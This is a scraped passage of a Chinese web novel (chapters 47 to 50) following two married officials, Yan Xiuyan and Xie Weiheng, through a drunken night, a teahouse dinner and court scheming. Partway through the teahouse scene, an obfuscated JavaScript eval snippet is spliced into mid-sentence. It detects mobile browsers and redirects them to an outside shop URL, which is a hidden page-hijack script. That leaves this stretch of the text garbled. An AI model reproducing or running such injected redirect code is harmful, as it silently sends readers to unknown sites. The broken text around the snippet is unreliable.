燕修延突然打了个响亮的喷嚏,他揉了揉发红的鼻子,唇角勾着笑,看向身侧的谢伟恒:“中书令那老东西,得了长公主的消息,此刻定是跟晋王在府里憋着坏呢,指不定在琢磨着怎么借我的‘病’做文章。” 说着,他下意识瞥了眼谢伟恒的脸色—— 从他说了那句“长公主挺好玩的”,谢伟恒便一句话没说。 上了马车就握住了他的手腕,随后便闭上眼睛,似是闭目养神,可那紧扣的指尖,却半点没松。 燕修延试探着叫了几声:“谢大人?” 没人应。 “谢侍郎?” 依旧没动静。 “谢伟恒?” 燕修延往谢伟恒身边蹭了蹭,胳膊轻轻撞了撞他的肩,声音放软了几分。 半晌,谢伟恒才缓缓掀开眼皮,眸底似蒙着一层薄雾,只掀开一条缝,淡淡看向他:“燕大人有何事?” 呦,这小脾气,还挺大。 燕修延动了动被握住的手腕,指尖轻轻挠了挠谢伟恒的掌心,笑道:“谢大人,你这吃醋生气,还非得握着我的手,这醋吃的,倒是别出心裁。” 谢伟恒微微收紧力道,指腹摩挲着他腕间的肌肤,身体忽然前倾,靠近燕修延。 马车空间本就不大,这一靠近,两人之间的距离瞬间被拉近,谢伟恒身上清冷的墨香混着淡淡的药香,将燕修延整个人都裹住了。 “长公主那般好玩,” 谢伟恒的声音低沉,带着几分慵懒的哑,拂过燕修延的耳畔,惹得他耳尖微微发烫,“我若不抓紧了,燕大人一时兴起,跑去找她玩,可就不好了。” 燕修延挑眉,非但没躲,反倒抬眼迎上他的目光,眼底满是促狭:“我若是真有找她玩的心思,就没你什么事儿了,谢侍郎,你说是不是?” 谢伟恒勾唇,眼底的薄雾散去,漾开几分笑意,他慢慢贴近,鼻尖几乎要碰到燕修延的鼻尖,轻声慢语道:“这么说起来,我还得好好感谢燕大人……” 感谢你,眼里只有我。 最后几个字未说出口,可那温热的呼吸,却拂过燕修延的唇瓣,带着撩人的痒。 两唇即将碰上的刹那,燕修延终究还是败下阵来,头下意识往后仰,抵着车壁,耳尖红得快要滴血:“呐,说话就说话,别贴这么近,热得慌。” 谢伟恒停下动作,唇角的笑意愈发浓,眸底盛着星光,笑问:“燕大人今儿看了一出好戏,难不成,要白看?” 燕修延瞪他,眼底却没半分怒意,反倒带着几分羞恼:“这戏,我也跟着演了半天,算半个主角,那我是不是也能向你讨要些报酬?” 谢伟恒笑盈盈的,指尖轻轻捏了捏他的手腕,语气温柔,又带着几分狡黠:“那燕大人想要什么样的报酬?但凡臣能做到的,无有不应。” 注解一下: 祖亲:祖父、祖母 舅亲:舅舅、舅母 47. 此地无银300两 燕修延食指抵着谢伟恒的额头,稍一用力把人推远些,眉梢挑着几分得逞的笑:“我要的报酬跟你要的就此抵消,两清了。” 谢伟恒没退,反倒伸手攥住他抵在自己额前的手指,指腹摩挲过那节微凉的指骨,低头轻咬了一口指腹,力道不重,却带着点微凉的湿意,松开时还轻轻舔了一下。 “燕大人真是薄情。” “……你属狗的?” 燕修延抽回手,瞪他一眼,嘴上嗔怪着随随便便咬人,手指却不自觉蜷了蜷—— 被咬过的地方麻酥酥的,那点微痒顺着指腹往心口爬。 猝不及防就忆起新婚那夜,这人咬着他颈侧肌肤时,那股从骨头缝里钻出来的战栗。 ……擦,想什么乱七八糟的。 燕修延猛地甩甩头,像是要把那点旖念甩出去,转身靠到车窗边,一把掀开帘子。 风裹着街边的桂花香涌进来,凉丝丝的,总算压下了心头莫名的燥热,只是耳尖还泛着未散的红。 谢伟恒就那样支着肘,安静看着他的侧脸。 光线透过车帘缝隙落在燕修延的下颌线上,勾出利落的弧度,连带着他轻抿的唇线,都瞧着格外顺眼。 车厢里静悄悄的,只有车轮碾过青石板的轻响,两人竟再没说一句话,却半点不觉得尴尬。 马车很快停在谢府门口,车轱辘刚稳,燕修延就急着催外头的谢小厮:“快,马凳!” 语气里带着点逃似的急切,踩着马凳跳下车时,还回头丢下一句硬邦邦的话:“不是好酒,我可不喝。” 话音落,身影已经一溜烟扎进了府门,快得像阵风。 谢伟恒不疾不徐跟着下车,闻言唇角弯了弯,对愣在原地的谢小厮吩咐:“备两个酒杯,我去酒窖取酒。” 谢小厮挠挠头,满脸困惑—— 燕修延这身手,哪里像半分受伤的样子? 况且府门台阶也不高,偏要马凳才肯下,那跑的速度,比巡街的捕快都快。 日落月升,转眼便是满月。 银辉似的月色泼洒下来,落满谢府的小庭院,石桌上摆着酒坛酒杯,还有一碟花生米、一碟酱牛肉,简单却雅致。 燕修延早等在石桌旁,见谢伟恒来,伸手就拍开酒坛上的泥封,凑上去闻了闻,眉头皱起:“这是什么酒?” 闻着平平无奇,半点没有名酒的醇香。 谢伟恒挨着他坐下,摆好两个白瓷酒杯,指尖拂过酒坛边缘,声音轻缓:“小时候自己酿的。” “啊?” 燕修延诧异,抬手倒了一杯,又闻了闻,才浅抿一口,刚入口就皱了脸,随即又笑出声,“你这不会是毒酒吧?谢侍郎书读得顶好,这酒酿的可真不怎么样——不过酿醋的功夫倒是一绝,哈哈哈!” 嘴上说着怕中毒,手上却半点不客气,仰头又喝了一口,喉结滚了滚,喝得利落得很。 两人就着月色,有一搭没一搭地聊。 燕修延捻起一粒花生米,指尖一抛,花生米在空中划了道小弧线,他仰头张口,稳稳接住,嚼得咔嚓响:“这酒,你从江南带过来的?” “嗯。” 谢伟恒点头,“当时酿了两坛,来京城时,都带来了。” 说着,也学着燕修延的样子,捻起一粒花生米抛向空中,谁知没接准。 花生米砸在他额头上,又骨碌碌滚落到石桌上。 这一下,逗得燕修延笑得前俯后仰,眼泪都笑出来了,拿手擦擦眼角,端起酒杯跟他碰了碰,杯沿相击,脆响一声:“那你这酒,总该取了名字吧?” 谢伟恒抬眼,目光落在酒坛上,声音轻得像月色:“喝的这个,叫捐躯。” 燕修延歪着头想了一瞬,眼底闪过促狭:“你别告诉我,另一坛叫如归。” 谢伟恒但笑不语,只看着他。 燕修延微讶,挑高了眉:“还真是啊?” 谢伟恒颔首,“嗯”了一声。 脑海里忽而闪过少年时的光景,那时燕修延还带着稚气,眉眼张扬,拍着酒缸跟他说:【捐躯赴国难,视死忽如归,那这两坛酒,就一坛叫捐躯,一坛叫如归吧!】 “哈哈哈,你小时候取名的本事可不怎么样。” 燕修延逮着机会就损他,又喝了一口酒,眉眼弯弯。 谢伟恒垂眼轻笑,指尖摩挲着杯沿:“还行。” 以燕修延那半吊子的文采,能记住这句诗,还能用来给酒取名,已经是难得。 他倒要看看,等这人想起这名字是自己取的时,会是何等模样。 燕修延挑眉,睨他:“你倒是毫不自谦。” 谢伟恒抬杯,冲他示意,语气带着点戏谑:“谬赞。” 一坛捐躯很快见了底,去掉了大半。 燕修延撑着脑袋,脸颊泛着酒后的红晕,跟谢伟恒说起监察司近来查到的离奇案子,说得起劲时,手还比划着。 谢伟恒就安静听着,手肘支着石桌,手掌托着腮,时不时问上两句关键,声音温和,衬得月色都软了。 “不喝了,困了。” 说着说着,醉意就涌了上来,燕修延眼皮开始打架,脑子也昏沉沉的,连说话都慢了半拍。 他打了个大大的哈欠,抬眼看向谢伟恒。 清冷的月色落满谢伟恒的面庞,如玉雕般的眉眼蒙着一层薄纱似的银辉,似真似幻,瞧着比平日里更多了几分温柔。 燕修延的心跳莫名漏了一拍,竟生出一种想伸手,揭开那层“薄纱”,去触碰他肌肤的念头。 一片桂树叶被风吹落,轻飘飘落在谢伟恒的发顶。 燕修延下意识伸手,替他摘掉,捏着叶梗在指尖转着玩,声音带着点酒后的含糊,又带着点真心的赞叹:“谢大人真正是生了副好样貌。” 话音刚落,手腕就被攥住。 谢伟恒稍一用力,把他拉向自己,两人的距离骤然拉近,鼻尖相抵,呼吸交缠,都是淡淡的酒气。 他抵着燕修延的额头,声音低沉,裹着月色的温柔,轻声问:“我这副样貌,可能让燕大人有哪怕一丝一毫的动心?” 燕修延低低笑出声,酒意上涌,胆子也大了,抬手用食指抵住他的嘴唇,指尖能感受到他微凉的唇瓣:“谢大人,你猜呢?” 谢伟恒扣住他的后颈,指腹摩挲着他颈侧的肌肤,手上微微用力,不让他退开。 “燕大人还真是个嘴硬的。” 话音落,他隔着燕修延的食指,吻上那片柔软的唇。 微凉的唇瓣贴着指尖,带着点轻轻的厮磨,燕修延的心跳骤然加快,忽的收回手指,两人的唇便毫无缝隙地贴在一起。 他鼻尖蹭着谢伟恒的鼻尖,吃吃地笑:“哪里……了?” 谢伟恒的吻带着点酒的醇香,轻轻咬了咬他的下唇,随即引着他的手,放在自己的腰腹上,缓缓向下,语气轻缓,又带着点蛊惑的沙哑:“燕大人且说说看,是哪里?” 燕修延的指尖触到温热的肌肤,浑身一僵,手臂用力想抽回手。 可谢伟恒的手像铁钳似的,攥着他的手腕,半点不肯松。 “谢大人要这样的话,我叫人了。” 他急了,稍一用力,咬住了谢伟恒的下唇。 淡淡的血腥味在唇齿间散开,谢伟恒这才松了手,眼底却盛着笑意,看着他泛红的脸颊。 燕修延指尖抵着他的胸口,把人推开些许,喘着气,佯怒道:“谢大人放浪形骸、私德不修!” 谢伟恒握住他抵在自己胸口的指尖,低头,在他的手腕内侧轻轻舔吻了一下,湿意顺着肌肤蔓延,惹得燕修延又是一阵颤栗。“情深至此,属实情难自禁。” 燕修延猛地站起来,酒意上头,脚步踉跄了一下才站稳,看着眼前含笑的人。 心头一股热意涌上来,索性上前一步,伸手抱住谢伟恒的腰,稍一用力,竟直接把人扛了起来。 谢伟恒猝不及防,愕然出声:“燕修延,你……” “闭嘴。” 燕修延扛着他,大步走 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谢伟恒无奈又温柔地摇摇头,伸手将身旁熟睡的人拢进怀里,让他靠在自己的胸膛,下巴抵着他的发顶,轻轻亲吻了一下那柔软的发丝,感受着怀中人温热的呼吸,眼底满是宠溺,心满意足地阖上了眼睛。 窗外月色正好,屋内暖意融融,呼吸交缠,岁月静好。 第二日天刚蒙蒙亮。 燕修延照例在谢伟恒的怀里睁开眼睛。 鼻尖萦绕着熟悉的墨香,耳边是他沉稳的心跳,一切都和往常一样,可燕修延的身子却瞬间僵住。 顿了顿,他又默默闭上眼睛,一动不动。 昨日醉酒后做的那些事,像走马灯似的在脑海里回旋—— 拍酒坛、笑他酿醋、抛花生米、摘树叶,还有撩拨他,咬他下唇,甚至扛着他回房,放话要宠幸他……最后居然倒头就睡。 真真儿是没脸见人了。 不过是喝了点酒,也没醉到不省人事,怎么就做出这么些丢人的事情来? 他居然主动撩拨谢伟恒! 还好还好,谢伟恒昨晚做了回君子,没趁他醉酒乱来,否则今天腰酸背痛是跑不掉的。 燕修延埋在谢伟恒的怀里,抠着自己的手指,不知道该用什么表情面对他。 干脆,装死! 若是谢伟恒醒来拿昨晚的事说事,他就咬死了说喝多了,什么都不记得。 “早。” 谢伟恒的声音在头顶响起,带着刚睡醒的沙哑,温热的手掌轻轻蹭了蹭他的后颈,语气自然,“你……” “我什么都不记得了!头痛!” 燕修延猛地一骨碌,从谢伟恒怀里滚出去,裹着被子面朝里。 背对着他,声音带着点刻意的沙哑,生怕慢了一步就被抓包。 他没看见,身后的谢伟恒眼底翻涌的、浓浓的笑意,几乎要溢出来。 这分明是此地无银三百两。 谢伟恒压下笑意,语气故作困惑,伸手想去碰他的额头:“记得什么?你为何会头痛,可是昨夜睡觉不小心招了风?我替你按按吧,会舒服些。” 燕修延闻言,悄悄回头,扒着被子打量他的脸色—— 谢伟恒一脸坦然,眉眼温和,半点没有要打趣他的意思,甚至连一丝异样都没有。 难道……是他自己想多了,谢伟恒也喝多了,忘了昨晚的事情? 燕修延心里的石头瞬间落地,松了口气,转过身来,故作镇定地摆摆手:“可能是夜里招了风,无妨,一会我去院里打套拳发发汗就好了。” 谢伟恒掀开被子下床,动作优雅地整理着里衣,回头看他,唇角噙着淡淡的笑:“我陪你。” 燕修延点点头,心里乐开了花——还好还好,谢伟恒喝多了,全忘了。 ———— 谢伟恒:酒是个好东西 燕修延:酒呢,确实是个好东西,但你是个坏东西 谢伟恒:今日又是等夫君宠幸的一日 燕修延:……你给我忘记,听见没有啊啊啊! 48. 兜比脸干净 和谢伟恒酣畅淋漓过一场,汗湿的衣料黏过肌肤,此刻散了热。 燕修延只觉骨缝里都透着松快,连带着吃饭时都多扒了两碗。 吃完饭,谢伟恒用锦帕拭了拭唇角,抬眼看向身侧人,语气是惯常的温淡,指尖还轻敲着桌面,带着几分闲适:“我去中书部,你要去监察司么?” “不去。” 燕修延把瓷碗往桌上一搁,他扯过帕子擦了擦唇角,懒怠的劲儿裹着周身,连眼尾都垂着几分散漫:“监察司那点事,真要急了,他们自会颠颠跑来找我,犯不着我去做那天天坐衙的勤快人。” 谢伟恒指尖轻叩桌沿,颔首应下,眉峰间漾着柔和:“好。回来时给你带些想吃的?” 燕修延眼珠转了转,心头瞬间滚过一长串吃食,尤其惦记着那些价码能吓退寻常官宦的珍馐—— 那滋味,吃一口跟啃金子似的,偏生勾人的很。 “酒仙茶苑的招牌,先给我带两样。” 他只去过一回那地方,菜单上的数字看得人胆颤,那次还是温瑞作东,差点被账单压得留下刷盘子抵债。 谢伟恒应得爽快,转身回房换了一身藏青官服,衣料挺括,腰束玉带,衬得身姿愈发挺拔,推门时还回头叮嘱了句“在家别贪凉”,才稳步出府。 踏入中书部,员外郎秦瑞良便快步迎了上来。 这人天生热心肠,性子又执拗,拉着谢伟恒往廊下僻静处躲,四下扫了一圈,确认无旁人。 压低了声音,语气里满是焦灼:“我可听说了,燕大人那是生了大病啊!昨儿长公主都跑到监察司门口哭着求他看大夫了,你这刚成亲,可别落个鳏夫的下场!” “休要胡言。” 谢伟恒眉头微蹙,语气沉了几分,“公主殿下不知从哪听来的谣言,你切莫人云亦云,燕大人身体无碍。” “你还瞒着我?” 秦瑞良一脸不赞同,拍了拍谢伟恒的胳膊,“咱俩是什么交情,还用藏着掖着?你不愿说也无妨,我早替你备好了。” 说着便从宽袖里摸出一张折好的麻纸,上面工工整整写着几个江湖名医的姓名住址,跟着又掏出一封封缄的信,纸角泛黄,看着有些年头,“这是我祖父年轻时游历写的亲笔信,你派人拿着去,那些名医定会尽心诊治。” 秦瑞良的拗脾气谢伟恒最是清楚,他认定的事,便是摆上确凿证据,他也能歪着理说你是刻意框他,多说无益。 谢伟恒只得伸手接过纸和信,低声道:“费心了。” “同朝为官,又这般交情,谈什么费心,举手之劳。” 秦瑞良摆摆手,转身飞快掏出袖中一个小巧的竹制小本子,翻开一页,在“日行一善”四个字后认认真真画了个红勾,动作麻利。 勾刚画完,眼角余光瞥见中书令捋着胡子往这边走,他立马把本子塞回袖中,一溜烟跑了,只留个背影喊:“我先去忙公务了!” 中书令缓步走来,目光在谢伟恒手中的信纸上扫过,捋着山羊胡,装模作样地问:“本官听闻燕大人身子不爽利,不知可曾请大夫瞧过?” 谢伟恒不动声色将信和纸收进袖中,语气平淡无波:“燕大人身体无恙,有劳中书大人记挂。若无他事,下官便先去处理公务了。” 说罢便拱手告退,独留中书令站在原地,脸上的欣慰笑意慢慢敛去,眼底翻涌着阴翳。 在他看来,谢伟恒这般干脆的否认,不过是刻意的回避与逃避—— 燕修延定是病入膏肓了! 如此便再好不过,只待那药炼成,便能神不知鬼不觉地取了燕修延的性命,除去这颗眼中钉! 中书部白日公务繁杂,谢伟恒索性在衙内用了午膳,打发身边的谢小厮回府给燕修延捎话,约他晚上一同去酒仙茶苑,省得带回去的菜凉了失了滋味。 待到下午将公务处理得差不多,谢伟恒出衙时,恰巧碰上工部侍郎,两人站在衙门口闲聊了几句。 工部侍郎忽然从袖中摸出一个锦盒,塞到谢伟恒手中,笑道:“有劳谢大人,将此物转交燕大人,算是我一点心意。” 谢伟恒接过锦盒,触手微凉,颔首应下,便径直回府接燕修延。 马车内,车轱辘碾过青石板路,发出平稳的轱辘声,谢伟恒侧头看向身侧的人,温声解释:“酒仙茶苑的招牌菜多是现做现吃才佳,带回去恐失了口感,不如直接去吃。” 燕修延歪在软榻上,看了一天的书,中午又没歇着,眼下透着淡淡的青,整个人蔫蔫的,没什么精神,闻言无所谓地耸耸肩,唇角勾着点狡黠:“只要不用我掏钱,在哪吃,我都能吃得香。” 谢伟恒被他这副模样逗笑,眼底漾着温柔的笑意:“自然不会让你花钱。” 酒仙茶苑坐落在京城最繁华的朱雀大街,门前车马络绎,人声鼎沸,门童见了谢伟恒的马车,忙上前恭敬迎候。 谢伟恒先下车,回身伸手,掌心向上,稳稳扶着燕修延下车。 燕修延搭着他的手,指尖触到对方温热干燥的掌心,微微借力下车,抬眼时,便察觉到几道打量的目光。 昨日长公主在监察司门前一闹,早已传遍了整个京城。 人人都在议论,监察司那位风光无两的燕正使,得了不治的重病,连长公主都哭着求诊。 有认出二人的百姓,不由得驻足侧目,交头接耳的低语声飘进耳中: “我瞧着燕大人这模样,也不像是生了大病啊?” “你细看,他精气神差了些,脸也白,看着委顿的很,莫不是真病了?” “可不是嘛,不然长公主能那般失态?” “燕正使生得这般好看,我明日便去大慈恩寺烧香,求菩萨保佑他平安。” “头发长见识短的妇人!” “我见识短,也好过你脑子空空,一敲都能听见回声儿!” “你敢骂我?” “再叨叨,我就把你那碎嘴缝上!” 吵嚷声渐远,二人已踏入茶苑,楼内雕梁画栋,茶香与菜香交织,雅静得很。 而三楼一扇半掩的雕花窗后,两道目光正透过缝隙,将方才的一幕尽收眼底。 窗内的男子今日换了一身暗紫色锦袍,衣料上绣着暗纹,衬得他眉眼间添了几分矜贵。 “有趣,实在有趣。单看方才二人相处的模样,倒像是寻常人家的寻常夫夫,温情得很。” 楚毅放下酒杯,抬手将窗户轻轻关上,隔绝了外面的喧嚣,语气沉了几分:“真真假假,虚虚实实,这京城的水,着实深。幸而咱们此刻,尚不在他们这盘棋上。” 坐在他对面的男子闻言哂笑一声,指尖转着酒杯,语气带着几分不屑:“现在不在,将来呢?这京城的棋局,从来由不得这些亲王置身事外。” 哪怕咱们无心入局,皇帝当真能放心由着咱们在封地上安稳度日? 楚毅垂眸,掩去眼底一闪而过的精光,声音低缓:“且看这次博弈,晋王能掀起多大的风浪吧。” “哈。” 男子轻笑一声,满是不以为然,指望三哥掀起风浪? 怕是风浪没掀起来,先把自己拍进水里,连个水花漂都浮不起来。 楚毅抬眼,目光幽深:“或许,可以借助外力。” “先看三哥这出戏,唱得如何吧。” 男子对他口中的“外力”兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646206|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 致缺缺,摆了摆手,目光落在楼下的方向,“我倒更好奇,燕修延和谢伟恒,此刻会聊些什么。” 常言道,有借有还,再借不难。 可这朝堂上的外力,从来都是请神容易送神难,岂是想借就能借的? 见他意兴阑珊,楚毅也不再多提,只是端起酒杯,浅酌一口,眼底藏着旁人看不懂的算计。 另一边的雅间内,雕花木窗半开,晚风拂过,带着些许凉意。 燕修延靠在椅上,等着上菜的间隙,忽然想起方才下车时的一瞥,指尖敲着桌面,似笑非笑:“下车时,我好像在三楼那扇窗户后,看到了右丞相的身影。一会吃完,要不要去窗户外面偷听几句?” 谢伟恒知他不过是随口说笑,酒仙茶苑共六层,楼下人来人往,若是真挂在窗户外偷听,怕是瞬间就成了全城的笑柄。 “对了,你钱带够了吧?” 吃了好一会,他才忽然想起什么,抬眼看向谢伟恒。 他拍了拍自己的衣兜,理直气壮:“丑话说在前头,我这兜可比脸都干净,今儿这顿饭,你可别指望我掏钱给你垫补。” 谢伟恒被他这模样逗笑,从怀中掏出一张面额一千两的银票,放在桌上,又从腰间的荷包里倒出几粒金灿灿的金锞子,还有几锭银裸子,在桌上摆了一小堆。 燕修延的目光瞬间就黏在了这些钱上,眼睛瞪得溜圆,伸手戳了戳那银票,又捏起一粒金锞子,掂了掂分量,诧异道:“你的家当不是都藏在……” 话到嘴边,他又把“床头暗格”四个字咽了回去,换了个说法,“怎么又有这么多钱?你莫不是去抢钱庄了?” 谢伟恒把桌上的钱往他手边推了推,语气平淡:“谢家在京城的产业本就不少,当铺、茶肆、绸缎庄,每日都有进项,这些不过是寻常。” 燕修延却没收,把钱又推了回去,眉头皱着,一脸心疼:“赚的速度比花的快也不能这么造,这钱我可不收,你这刚摆出来,我就觉着,这钱还没捂热,就要拿去付账,心疼得慌。” 谢伟恒失笑,依着他的意思,把银票收了回去,金锞子和银裸子也重新装进荷包。 燕修延夹了一筷子红烧肉,塞进嘴里,甜甜的滋味从喉咙滑进胃里,舒服得喟叹一声。 他随口道:“咱们今日在这酒仙茶苑吃饭,那些个朝堂上的老狐狸,若是知道了,肯定又要多想,背地里不知道要怎么揣测。” 嘿嘿,任凭他们想破脑袋,也绝不会告诉他们,昨日长公主那一出,不过是他故意装出来的样子,就是为了看看,这京城里,到底有多少人盯着他,又有多少人,想借着他“生病”的由头,兴风作浪。 他唇角勾起一抹狡黠的笑,眼底满是促狭:“尤其是那些说话喜欢弯弯绕绕,一个简单的事情,非要掰扯得无比复杂的人,他们若是今日就知道咱们在这吃酒,怕是今晚都要睡不着,绞尽脑汁猜咱们的心思。” 门外传来刻意压低的脚步声,由远及近,停在了雅间门口。 谢伟恒眸光微闪,适时开口,声音不大不小,恰好能让门外的人听清:“今日在中书部,秦瑞良给了我一封信,还有几位江湖名医的住址,说是能替你诊治。” 话音刚落,门外的脚步声顿了顿,跟着便听到小二敲门的声音,“客官,您的炖羊肉来了。” 小二推门而入,端着一个描金砂锅,锅内炖羊肉咕嘟咕嘟冒着泡,香气四溢。 他将砂锅放在桌上,躬身行礼后,便快步退了出去,连头都不敢抬,仿佛生怕撞见什么不该看的。 出了雅间,小二脚下生风,径直拐进走廊尽头的一间雅间,推门进去,告诉他们自己听到的话。 49. 这也能吃味? 楚毅捏起一枚银裸子,指尖一弹便落进小二掌心,凉声摆了摆手,那小二得了赏钱,忙躬身退下,连大气都不敢喘。 对面的男子把玩着酒杯,忽然轻“咦”一声,眉梢挑着几分玩味:“难不成燕修延真的病了?那可不成,本王得帮四哥一把。” 他虽对那龙椅没什么执念,却万万容不得晋王坐上那个位置—— 晋王那草包性子,真掌了权,大虞离亡国也就不远喽。 楚毅指尖摩挲着杯沿,眼底凝着疑惑:“让晋王去削皇帝的权,搅乱这朝堂,于我们而言,难道不是件好事?” 男子眉头一蹙,放下酒杯,语气沉了些:“好是好,可我怕他弄巧成拙,真把自己推上那位置。” 楚毅沉吟片刻,抬眼问:“王爷意欲如何?” 男子摊手,眉眼间又恢复了那副漫不经心:“还没想好,走一步看一步便是。” 另一边雅间里,燕修延夹了口桂花藕,嚼得咯吱响,语气带着几分自恋的得意:“打赌,那小二定是去了右丞相那儿,他方才听见的话,要不了明天,就得传遍整个京城。” 他撇撇嘴,故作苦恼,“人呐,太受关注,就这点不好。” “确实不好。” 谢伟恒搁下筷子,语气淡得听不出情绪,只定定看着他,“不想让他们看。” 燕修延一脸无语地瞪他:“……这也能吃味?多大的人了。吃点好的吧,这糖醋鱼不错,刺少肉嫩。” 谢伟恒低头瞥了眼自己空空的碗,又抬眼看向燕修延,眼底漾着点浅淡的期待。 燕修延愣了愣。 这是……要他夹菜的意思? 他试探着伸筷,挑了块最嫩的鱼腹肉,轻轻放进谢伟恒碗里。 谢伟恒唇角瞬间勾开,笑意温软,轻声道:“多谢夫君。” “谁是你夫君!” 燕修延白了他一眼,许是酒意微醺,脑子一抽,脱口就来了句,“你叫我夫君,怎么不让我也睡上一回?” 话音刚落,他就后悔了。 谢伟恒的笑容瞬间加深,眼底盛着星光,语气带着几分蛊惑:“你若是想,咱们现在就回府。” “不,我不想!” 燕修延猛地提高嗓音,脸颊瞬间烧得滚烫,手忙脚乱地摆手,“我刚才喝酒说的浑话,你赶紧都忘掉!全当没听见!” 谢伟恒眼中的光彩骤然淡下去,他垂眸,唇角牵起一抹苦笑,声音轻得像叹息:“燕大人真是潇洒,什么都能忘掉,到头来,只有我一人记得。” “什么叫什么都能忘……” 这话听着不对。 难道他忘了什么重要的事? 燕修延眉头紧紧皱起,脑子飞速运转,拼命回想——可他绞尽脑汁,也想不出自己忘了什么和谢伟恒有关的事。 谢伟恒抬手,给自己的酒杯倒满酒,仰头一饮而尽,酒液顺着下颌线滑进衣领,留下一道湿痕。 他放下酒杯,语气带着几分落寞:“忘了便忘了吧,忘了,说明这些事情在你眼中,本就不重要。” 这些? 哪些? 燕修延心头一紧,伸手按住谢伟恒的手腕,急声道:“不是,你把话给我说清楚,我到底忘了什么事情?” 谢伟恒轻轻摇头,挣开他的手:“记不得的事情,说了也没有意义。” 燕修延咬着筷子,牙根痒痒。 谢伟恒这副模样,不是摆明了想让他晚上翻来覆去睡不着么? 他胡乱猜着,难道是他早年风流……呸,他风流个鬼,二十多年的童子身,还是在谢伟恒身上破的! 想到这里,燕修延的底气又足了,梗着脖子道:“你一个人记得也没什么差别,咱俩都成亲了,人你也睡了,你还想怎样?上天啊!” “不上天。” 谢伟恒反手握住他的手,指腹摩挲着他的腕骨,微微使力,不让他挣脱,声音低沉又暧昧,“上、你。” “……滚!” 燕修延脸爆红,拼命想抽回手,却被他攥得死死的,他龇牙咧嘴,露出一口利齿,“再不松手我咬你啊!说到做到!” 谢伟恒却偏过头,指着自己的嘴唇,眼底满是笑意:“往这儿咬。” 燕修延斜睨着他,心里门儿清—— 咬嘴巴那能叫咬? 那分明是投怀送抱,他要真咬了,谢伟恒指不定乐成什么样。 他扯了扯嘴角,挤出一抹假笑,勾勾手指:“你过来点。” 谢伟恒眼底笑意更深,依言微微靠近。 燕修延瞅准时机,张嘴就往谢伟恒颈侧咬去—— 结果动作太急,鼻子先狠狠撞到了他脸侧的颌骨上。 “艹。” 钻心的疼瞬间传来,燕修延捂着鼻子,疼得直嘶气,骂骂咧咧的。 谢伟恒别过头去,肩头控制不住地耸动,明显是在笑。 “不许笑!” 燕修延伸手去掰他的肩膀,气鼓鼓的,“你嘴角都咧到耳朵根了,以为把头扭过去我就看不见吗!” 谢伟恒顺势回过头,不等燕修延再开口,低头便咬住了他的下唇,力道不轻不重,带着酒的醇香和果的清甜。 他伸手用力搂住燕修延的腰,稍一用力,便将人带过来,让他坐在自己的腿上。 “谢伟恒你——” 燕修延挣扎着开口,话音未落,便被谢伟恒趁机探入舌尖,卷住他的唇舌,缠绵厮磨。 两人今日喝的皆是果酒,度数不高,却甜腻醉人,果香混着酒香,在唇齿间肆意蔓延。 燕修延的手指不自觉蜷起,抵在谢伟恒的胸口,鼻腔里溢出细碎的鼻音,浑身软绵,半点力气都使不上来。 不知过了多久,谢伟恒才稍稍退开,额头抵着他的额头,呼吸微喘,沙哑的声音里裹着浓到化不开的情意,轻轻唤他:“修延……” 燕修延把头埋进他的颈肩,脸颊烫得惊人,闷闷地嘟囔:“怎么莫名其妙就亲上了。” 推又推不开,还狠不下心真咬他。 刚才差点被亲晕过去。 丢死人了! “是我刻意引诱,怪我。” 谢伟恒抬手,轻轻抚着他的后颈,动作温柔,“燕大人只是心软,没有推开我。” “既然知道怪你,还不赶紧把我放开!” 燕修延语气凶狠,手却乖乖搭在他的肩上,“信不信我揍你?” 谢伟恒依言松开手,只是掌心还轻轻贴在他的腰侧,不肯挪开。 燕修延撑着他的胸口,刚要站起来,腿一软,又坐了回去。 他瞪大了眼睛,满脸通红,又羞又恼—— 腿软!居然被亲到腿软?! 凭什么谢伟恒就一脸风轻云淡,坐得 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他手忙脚乱地别过脸去,硬生生岔开话题:“吃、吃饭吧,菜都快凉了。一会吃完了,要不要出去逛逛?街上该点灯了。” 谢伟恒垂眼,掩去眼底的失落,轻声应了句:“好。” 燕修延偷偷看了他好几眼,见他安安静静地夹菜,看上去挺平静的,心里却嘀咕:不能同情他,这货最会顺杆爬。 可看着谢伟恒只盯着面前的两碟菜吃,半点不碰别处的珍馐,他又软了心。 想了想,燕修延还是伸筷,给他夹了块红烧肉,又挑了口清炒时蔬,放进他碗里:“别总是只吃面前的那两道,好吃的多着呢,都尝尝。” 谢伟恒抬眼,眼底的落寞瞬间散去,取而代之的是明亮的笑意,脸上的神情也生动了许多,轻声道:“多谢。” 燕修延挠了下脸颊,心里暗道:所以刚才谢伟恒真的是在暗自难过伤心? 这也太脆弱了吧。 燕修延端起酒杯,见谢伟恒的手也恰好放在酒杯上,便碰了碰他的杯沿,道:“走一个。” 他才不是同情,就是稍微照顾一下谢伟恒的心情而已。 仅此而已。 谢伟恒眉眼弯弯,眼底盛着星光,轻轻应道:“好。” 两杯相碰,发出清脆的声响。 燕修延一边喝酒一边想,谢伟恒也太好哄了,夹口菜碰个杯,就乐成这样。 两人慢悠悠吃完了饭,谢伟恒唤来小二结了账,扶着还有些腿软的燕修延出了酒仙茶苑。 此时街上已是华灯初上。 大虞朝无宵禁,夜市正热闹。 街边的灯笼次第亮起,红的、黄的、粉的,映得整条街暖融融的。 人头攒动,小贩的吆喝声、孩童的嬉闹声、车马的铃铛声,此起彼伏,热闹非凡。 燕修延一眼就瞅见了街角的面具摊,拉着谢伟恒走过去,摊子上摆着各式各样的面具,虎头的、狐狸的、兔子的,做工精巧。 他挑挑拣拣,拿了两个面具。 谢伟恒自觉地掏出银子付了钱,刚接过摊主找的零钱。 燕修延就把那只兔子面具递到他面前,不由分说地戴在他脸上,指尖还捏了捏面具上的软绒耳朵,笑道:“这个和你很配,软乎乎的。” 50. 叫狐掂虎床才是 任谁瞧着,都是只温顺无害、一捏就软的白兔。 